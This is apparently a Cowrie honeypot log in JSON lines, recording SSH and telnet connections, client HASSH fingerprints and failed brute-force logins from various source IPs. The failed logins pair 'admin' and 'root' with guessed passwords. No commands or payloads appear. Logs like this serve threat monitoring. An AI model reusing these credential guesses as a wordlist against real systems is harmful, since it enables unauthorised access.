{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:42:18.958527Z","src_ip":"91.92.40.11","session":"2f28fae63472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:42:19.719548Z","src_ip":"91.92.40.11","session":"2f28fae63472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:42:20.856561Z","src_ip":"91.92.40.11","session":"2f28fae63472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":58454,"dst_ip":"10.17.0.5","dst_port":22,"session":"4639d873508e","protocol":"ssh","message":"New connection: 162.240.35.200:58454 (10.17.0.5:22) [session: 4639d873508e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:42:33.799160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:42:33.802660Z","src_ip":"162.240.35.200","session":"4639d873508e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:42:33.884656Z","src_ip":"162.240.35.200","session":"4639d873508e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZkSync#Tr0ng!W0rd","message":"login attempt [root/ZkSync#Tr0ng!W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:42:34.129757Z","src_ip":"162.240.35.200","session":"4639d873508e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:42:36.647016Z","src_ip":"162.240.35.200","session":"4639d873508e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":38040,"dst_ip":"10.17.0.5","dst_port":22,"session":"97c49b7b9337","protocol":"ssh","message":"New connection: 69.163.176.54:38040 (10.17.0.5:22) [session: 97c49b7b9337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:43:15.112358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:43:15.116013Z","src_ip":"69.163.176.54","session":"97c49b7b9337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:43:15.188759Z","src_ip":"69.163.176.54","session":"97c49b7b9337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"theta2024","message":"login attempt [root/theta2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:43:15.400833Z","src_ip":"69.163.176.54","session":"97c49b7b9337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":38462,"dst_ip":"10.17.0.5","dst_port":22,"session":"96363b50272e","protocol":"ssh","message":"New connection: 91.92.40.11:38462 (10.17.0.5:22) [session: 96363b50272e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:43:15.491647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:43:15.559023Z","src_ip":"91.92.40.11","session":"96363b50272e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:43:15.646716Z","src_ip":"91.92.40.11","session":"96363b50272e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345","message":"login attempt [admin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:43:16.278291Z","src_ip":"91.92.40.11","session":"96363b50272e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:43:16.473725Z","src_ip":"69.163.176.54","session":"97c49b7b9337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":47438,"dst_ip":"159.203.135.109","dst_port":22,"session":"50d15c442f2b","protocol":"ssh","message":"New connection: 103.172.78.219:47438 (159.203.135.109:22) [session: 50d15c442f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:43:17.289612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:43:17.292903Z","src_ip":"103.172.78.219","session":"50d15c442f2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:43:17.453197Z","src_ip":"91.92.40.11","session":"96363b50272e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:43:17.572622Z","src_ip":"103.172.78.219","session":"50d15c442f2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"djctvm","message":"login attempt [root/djctvm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:43:18.407812Z","src_ip":"103.172.78.219","session":"50d15c442f2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:43:19.688528Z","src_ip":"103.172.78.219","session":"50d15c442f2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":55362,"dst_ip":"10.17.0.5","dst_port":23,"session":"891e0c3d5c60","protocol":"telnet","message":"New connection: 72.167.226.244:55362 (10.17.0.5:23) [session: 891e0c3d5c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:44:11.754317Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":38080,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef4a858f1f0d","protocol":"ssh","message":"New connection: 91.92.40.11:38080 (10.17.0.5:22) [session: ef4a858f1f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:44:12.523806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:44:12.830424Z","src_ip":"91.92.40.11","session":"ef4a858f1f0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:44:12.833632Z","src_ip":"91.92.40.11","session":"ef4a858f1f0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:44:13.633651Z","src_ip":"91.92.40.11","session":"ef4a858f1f0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":42400,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5348c4429b9","protocol":"ssh","message":"New connection: 162.144.64.128:42400 (159.203.135.109:22) [session: e5348c4429b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:44:14.606038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:44:14.611919Z","src_ip":"162.144.64.128","session":"e5348c4429b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:44:14.693551Z","src_ip":"162.144.64.128","session":"e5348c4429b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:44:14.803714Z","src_ip":"91.92.40.11","session":"ef4a858f1f0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bitstamp456","message":"login attempt [root/bitstamp456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:44:14.939555Z","src_ip":"162.144.64.128","session":"e5348c4429b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":42618,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bcbe77f6d2a","protocol":"telnet","message":"New connection: 50.62.181.92:42618 (10.17.0.5:23) [session: 5bcbe77f6d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:44:21.571464Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":39498,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cc57911df95","protocol":"telnet","message":"New connection: 107.6.151.170:39498 (159.203.135.109:23) [session: 9cc57911df95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:44:32.683553Z"}
{"eventid":"cowrie.session.closed","duration":30.3280930519104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:44:42.082288Z","src_ip":"72.167.226.244","session":"891e0c3d5c60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":33732,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d38adbf7a0f","protocol":"telnet","message":"New connection: 94.23.66.112:33732 (10.17.0.5:23) [session: 7d38adbf7a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:44:43.435193Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":60030,"dst_ip":"10.17.0.5","dst_port":23,"session":"012a555f2338","protocol":"telnet","message":"New connection: 94.23.66.112:60030 (10.17.0.5:23) [session: 012a555f2338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:44:48.525924Z"}
{"eventid":"cowrie.session.closed","duration":31.399741888046265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:44:52.971102Z","src_ip":"50.62.181.92","session":"5bcbe77f6d2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.432666301727295,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:45:09.116085Z","src_ip":"107.6.151.170","session":"9cc57911df95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":35836,"dst_ip":"10.17.0.5","dst_port":22,"session":"be62cae58e1e","protocol":"ssh","message":"New connection: 91.92.40.11:35836 (10.17.0.5:22) [session: be62cae58e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:45:09.144005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:45:09.148632Z","src_ip":"91.92.40.11","session":"be62cae58e1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:45:09.242340Z","src_ip":"91.92.40.11","session":"be62cae58e1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678","message":"login attempt [admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:45:09.505992Z","src_ip":"91.92.40.11","session":"be62cae58e1e","protocol":"ssh"}
